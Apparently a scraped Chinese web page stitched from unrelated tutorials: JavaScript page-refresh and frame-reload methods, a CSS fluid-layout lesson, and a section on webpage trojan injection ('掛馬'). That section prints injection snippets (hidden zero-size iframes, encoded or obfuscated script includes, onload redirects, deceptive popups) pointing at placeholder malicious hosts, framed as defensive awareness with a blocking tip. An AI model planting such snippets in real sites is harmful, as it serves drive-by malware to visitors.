。 reload
reload 方法,該方法強迫瀏覽器刷新當前頁面。
語法:location.reload([bForceGet])
參數: bForceGet, 可選參數, 默認為 false,從客戶端緩存里取當前頁。true, 則以 GET 方式,從服務端取最新的頁面, 相當于客戶端點擊 F5("刷新")
reload() 方法用于重新加載當前文檔。
如果該方法沒有規定參數,或者參數是 false,它就會用 HTTP 頭 If-Modified-Since 來檢測服務器上的文檔是否已改變。如果文檔已改變,reload() 會再次下載該文檔。如果文檔未改變,則該方法將從緩存中裝載文檔。這與用戶單擊瀏覽器的刷新按鈕的效果是完全一樣的。
2.
2,replace 方法,該方法通過指定URL替換當前緩存在歷史里(客戶端)的項目,因此當使用replace方法之后,你不能通過“前進”和“后退”來訪問已經被替換的URL。
語法: location.replace(URL)
通常使用: location.reload() 或者是 history.go(0) 來做。
此方法類似客戶端點F5刷新頁面,所以頁面method="post"時,會出現"網頁過期"的提示。
因為Session的安全保護機制。
當調用 location.reload() 方法時, aspx頁面此時在服務端內存里已經存在, 因此必定是 IsPostback 的。
如果有這種應用: 需要重新加載該頁面,也就是說期望頁面能夠在服務端重新被創建,期望是 Not IsPostback 的。
這里,location.replace() 就可以完成此任務。被replace的頁面每次都在服務端重新生成。
代碼: location.replace(location.href);
返回并刷新頁面:
location.replace(document.referrer);
document.referrer //前一個頁面的URL
不要用 history.go(-1),或 history.back();來返回并刷新頁面,這兩種方法不會刷新頁面。
附:
Javascript刷新頁面的幾種方法:
復制代碼 代碼如下:
1,history.go(0)
2,location.reload()
3,location=location
4,location.assign(location)
5,document.execCommand('Refresh')
6,window.navigate(location)
7,location.replace(location)
8,document.URL=location.href
自動刷新頁面的方法:
1,頁面自動刷新:把如下代碼加入<head>區域中
復制代碼 代碼如下:
<meta http-equiv="refresh" content="20">
其中20指每隔20秒刷新一次頁面.
2,頁面自動跳轉:把如下代碼加入<head>區域中
復制代碼 代碼如下:
<meta http-equiv="refresh" content="20;url=http://www.jb51.net">
其中20指隔20秒后跳轉到http://www.jb51.net頁面
3,頁面自動刷新js版
復制代碼 代碼如下:
<script language="JavaScript">
function myrefresh()
{
window.location.reload();
}
setTimeout('myrefresh()',1000); //指定1秒刷新一次
</script>
4,JS刷新框架的腳本語句
復制代碼 代碼如下:
//刷新包含該框架的頁面用
<script language=JavaScript>
parent.location.reload();
</script>
//子窗口刷新父窗口
<script language=JavaScript>
self.opener.location.reload();
</script>
( 或 <a href="javascript:opener.location.reload()">刷新</a> )
//刷新另一個框架的頁面用
<script language=JavaScript>
parent.另一FrameID.location.reload();
</script>
如果想關閉窗口時刷新或想開窗時刷新,在<body>中調用以下語句即可。
復制代碼 代碼如下:
<body onload="opener.location.reload()"> 開窗時刷新
<body onUnload="opener.location.reload()"> 關閉時刷新
<script language="javascript">
window.opener.document.location.reload()
</script>
一、先來看一個簡單的例子:
下面以三個頁面分別命名為frame.html、top.html、bottom.html為例來具體說明如何做。
frame.html 由上(top.html)下(bottom.html)兩個頁面組成,代碼如下:
復制代碼 代碼如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> frame </TITLE>
</HEAD>
<frameset rows="50%,50%">
<frame name=top src="top.html">
<frame name=bottom src="bottom.html">
</frameset>
</HTML>
現在假設top.html (即上面的頁面) 有七個button來實現對bottom.html (即下面的頁面) 的刷新,可以用以下七種語句,哪個好用自己看著辦了。
top.html 頁面的代碼如下:
復制代碼 代碼如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> top.html </TITLE>
</HEAD>
<BODY>
<input type=button value="刷新1" onclick="window.parent.frames[1].location.reload()"><br>
<input type=button value="刷新2" onclick="window.parent.frames.bottom.location.reload()"><br>
<input type=button value="刷新3" onclick="window.parent.frames['bottom'].location.reload()"><br>
<input type=button value="刷新4" onclick="window.parent.frames.item(1).location.reload()"><br>
<input type=button value="刷新5" onclick="window.parent.frames.item('bottom').location.reload()"><br>
<input type=button value="刷新6" onclick="window.parent.bottom.location.reload()"><br>
<input type=button value="刷新7" onclick="window.parent['bottom'].location.reload()"><br>
</BODY>
</HTML>
下面是bottom.html頁面源代碼,為了證明下方頁面的確被刷新了,在裝載完頁面彈出一個對話框。
復制代碼 代碼如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> bottom.html </TITLE>
</HEAD>
<BODY onload="alert('我被加載了!')">
<h1>This is the content in bottom.html.</h1>
</BODY>
</HTML>
解釋一下:
復制代碼 代碼如下:
1.window指代的是當前頁面,例如對于此例它指的是top.html頁面。
2.parent指的是當前頁面的父頁面,也就是包含它的框架頁面。例如對于此例它指的是framedemo.html。
3.frames是window對象,是一個數組。代表著該框架內所有子頁面。
4.item是方法。返回數組里面的元素。
5.如果子頁面也是個框架頁面,里面還是其它的子頁面,那么上面的有些方法可能不行。
附:
Javascript刷新頁面的幾種方法:
1 history.go(0)
2 location.reload()
3 location=location
4 location.assign(location)
5 document.execCommand('Refresh')
6 window.navigate(location)
7 location.replace(location)
8 document.URL=location.href
二、自動刷新頁面
1.頁面自動刷新:把如下代碼加入<head>區域中
<meta http-equiv="refresh" content="20">
其中20指每隔20秒刷新一次頁面.
2.頁面自動跳轉:把如下代碼加入<head>區域中
<meta http-equiv="refresh" content="20;url=http://www.jb51.net">
其中20指隔20秒后跳轉到http://www.jb51.net頁面
3.頁面自動刷新js版
[Ctrl+A 全選 注:如需引入外部Js需刷新才能執行]
三、java在寫Servler,Action等程序時,要操作返回頁面的話(如談出了窗口,操作完成以后,關閉當前頁面,刷新父頁面)
復制代碼 代碼如下:
1 PrintWriter out = response.getWriter();
2 out.write("<script type=\"text/javascript\">");
3 ////子窗口刷新父窗口
4 out.write("self.opener.location.reload();");
5 //關閉窗口
6 out.write("window.opener=null;");
7 out.write("window.close();");
8 out.write("</script>");
四、JS刷新框架的腳本語句
1.如何刷新包含該框架的頁面用
復制代碼 代碼如下:
<script language=JavaScript>
parent.location.reload();
</script>
所謂的掛馬,就是黑客通過各種手段,包括SQL注入,網站敏感文件掃描,服務器漏洞,網站程序0day, 等各種方法獲得網站管理員賬號,然后登陸網站后臺,通過數據"庫備份/恢復"或者上傳漏洞獲得一個webshell。利用獲得的webshell修改網站頁面的內容,向頁面中加入惡意轉向代碼。也可以直接通過弱口令獲得服務器或者網站FTP,然后直接對網站頁面直接進行修改。當你訪問被加入惡意代碼的頁面時,你就會自動的訪問被轉向的地址或者下載木馬病毒。下面就讓我們來看看幾種常見的掛馬網站。
(1)iframe 框架掛馬
在網頁上增加一行掛馬的程序,例如:
<iframe src=http://www.xxx.com/xxx.html width=0 height=0></iframe>
這種嵌入是的掛馬非常常見,在Google中搜索發現的可能還有木馬的網頁,一般都是被這種方式掛馬。這行語句就是在網頁打開的時候,同時打開另外一個網頁,當然這個網頁可能包含大量的木馬,也可能僅僅是為了騙取流量。
如果我們的網頁不使用iframe,我們可以屏蔽iframe屬性,這樣,即使網頁被iframe掛馬,也不會傷害到訪問網站的用戶。
【原理】:
IE5及其以后版本支持在CSS中使用expression,用來把CSS屬性和javascript腳本關聯起來,這里的CSS屬性可以是元素固有的屬性,也可以是自定義屬性。
我們在網頁中增加如下的代碼即可屏蔽iframe屬性:
<style type=”text/css”>
iframe{a:expression(this.src=’about:blank’,this.outerHTML=”);}
</style>
iframe 也可以采用加密的方式掛馬,例如下面的代碼:
<iframe src=http://google-analitecs.com/in.cgi????? width=1 height=1></iframe>
(2)script 掛馬
通過script的調用來掛馬,可以掛直接的html文件,也可以掛js文件,可以明文掛馬,為了躲避追查,也有加密掛馬的形式,形式各異,千差萬別,主要方式如下:
<script src=http://%11%11%11%11%11%11%11></script>
這是一個加密的掛馬語句;
2.1 htm文件掛馬:
通過上傳一個木馬文件(x.htm)掛馬,代碼如下:
document.write(“<div style=’display:none’>”)
document.write(“<iframe src=x.htm width=0 height=0></iframe>”)
document.write(“</div>”)
htm 掛馬代碼:
<script src=x.htm></script>
2.2 js文件掛馬
通過上傳一個木馬文件(x.js)掛馬,代碼如下:
document.write(“<iframe width=’0′ height=’0′ src=’http://xxx.com/xxx.htm’></iframe>”);
JS掛馬代碼:
<script language=javascript src=x.js></script>
當然也可以掛互聯網上任何一臺機器的x.js文件;
2.3 js變形加密
<SCRIPT language=”JScript.Encode” src=http://www.xxx.com/x.x></script>
(3)圖片偽裝掛馬
隨著防毒技術的發展,圖片木馬技術逃避殺毒監視的新技術,攻擊者將類似:http://www.xxx.com/x.htm中的木馬代碼植入到x.gif圖片文
件中,這些嵌入代碼的圖片都可以用工具生成。圖片木馬生成后,再利用代碼調用執行,是比較新穎的一種掛馬隱蔽方法,實例代碼如:
<html>
<iframe src=”http://www.x.com/x.htm” height=0 width=0></iframe>
<img src=http://www.jungjaehyung.com/uploadfile/2024/0808/20240808042614744.jpg”></center>
</html>
當用戶打開http://www.x.com/x.htm是,顯示給用戶的是http://www.x.com/x.jpg,而http://www.x.com/x.htm網頁代碼也隨之運行。
(4)其它的掛馬方式
4.1 body掛馬
<body onload=”window.location=’http://xxx.com/xxx.htm’;”></body>
也可以在css的body中掛馬
body {
background-image: url(‘javascript:document.write(“<script src=http://www.xxx.com/x.js></script>”)’)}
4.2 隱蔽掛馬
top.document.body.innerHTML = top.document.body.innerHTML +
‘\r\n<iframe src=”http://www.xxx.com/xxx.htm/”></iframe>’;
4.3 java的open函數掛馬
直接調用:
<SCRIPT language=javascript>
window.open (“x.htm”,””,”toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1″);
</script>
欺騙調用:
<a href=”http://www.a.com(迷惑連接地址,顯示這個地址指向木馬地址)” onMouseOver=”www_a_com(); return true;”> 頁面要顯示的內容 </a>
<SCRIPT Language=”JavaScript”>
function www_a_com ()
{
var url=”網馬地址”;
open(url,”NewWindow”,”toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,w
idth=800,height=600,left=10,top=10″);
}
</SCRIPT>
4.4 偽裝調用:
<frameset rows=”444,0″ cols=”*”>
<frame src=”a.htm” framborder=”no” scrolling=”auto” noresize marginwidth=”0″margingheight=”0″>
<frame src=”b.htm” frameborder=”no” scrolling=”no” noresize marginwidth=”0″margingheight=”0″>
</frameset>
形形色色的網頁掛馬,代碼都十分簡單,所以,互聯網木馬想要傳播,就會不停的開發新的掛馬方式,不停的加密隱藏自己,這樣才能逃過各種安全軟件的眼睛。其實,看看上文,很多語句都是編程常用的代碼,只是使用的目的不一樣罷了,了解了網頁掛馬的原理和方法,再防范網頁掛馬就容易多了。
帶木馬的網頁主要包括兩種類型:一種自己本身就是木馬網站,所有的頁面都有木馬,另一種是正常的網站,由于管理不善,被掛馬,成為木馬網站的一個中轉站,看看google中這樣的網站何其多,可能很多站長現在還不知道,呵呵,多學習學習吧,站長可不是那么好當的。
不過,僅僅有了網絡掛馬的代碼,也不一定一定能傳播木馬,只要我們加強防范,不讓我們的網頁被 掛馬,甚至,即使被掛馬了,打開了木馬網頁,我們的系統沒有漏洞,木馬網頁也同樣不能發揮作用的。所以,最重要的安全防范方式就是定期給系統打補丁,幾乎 所有的木馬網頁都無法發揮作用了。
PC端進行網頁制作時,經常使用固定像素并且內容居中的網頁布局,為了適應小屏幕的設備,在移動設備和跨平臺(響應式)網頁開發過程中,多數使用流式布局,下面我們就對流式布局進行詳細介紹。
流式布局是一種等比例縮放布局方式,在CSS代碼中使用百分比來設置寬度,也稱百分比自適應的布局。 流式布局實現方法是將CSS固定像素寬度換算為百分比寬度。換算公式如下: 目標元素寬度/父盒子寬度=百分數寬度 下面通過一個案例來演示固定布局如何轉換為百分比布局,如demo4-1.html 所示。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>固定布局轉換為百分比布局</title>
<style type="text/css">
body>*{ width: 980px; height:auto; margin:0 auto;
margin-top:10px;
border:1px solid #000; padding:5px;}
header{ height:50px;}
section{ height: 300px;}
footer{ height:30px;}
section>*{ height:100%; border:1px solid #000; float:left;}
aside{ width:250px;}
article{ width:700px; margin-left:10px;}
</style>
</head>
<body>
<header>header</header>
<nav>nav</nav>
<section>
<aside>aside</aside>
<article>article</article>
</section>
<footer> footer</footer>
</body>
</html>
打開Chrome瀏覽器訪問demo4-1.html,頁面效果如下圖所示。
可以嘗試改變瀏覽器窗口的大小,頁面元素的大小不會隨瀏覽器窗口改變,如下圖所示。
下面修改demo4-1樣式代碼,將所有寬度修改為百分比的形式,具體如下:
<style type="text/css">
body>*{ width:95%; height:auto; margin:0 auto; margin-top:10px;
border:1px solid #000; padding :5px; }
header{ height:50px; }
section{ height: 300px; }
footer{ height:30px;}
section>*{ height:100%; border:1px solid #000; float:left; }
aside{ width:25.510204%; /*250÷980*/}
article{ width: 71.428571%; /*700÷980*/margin-left:1.0204088%;}
</style>
*請認真填寫需求信息,我們會在24小時內與您取得聯系。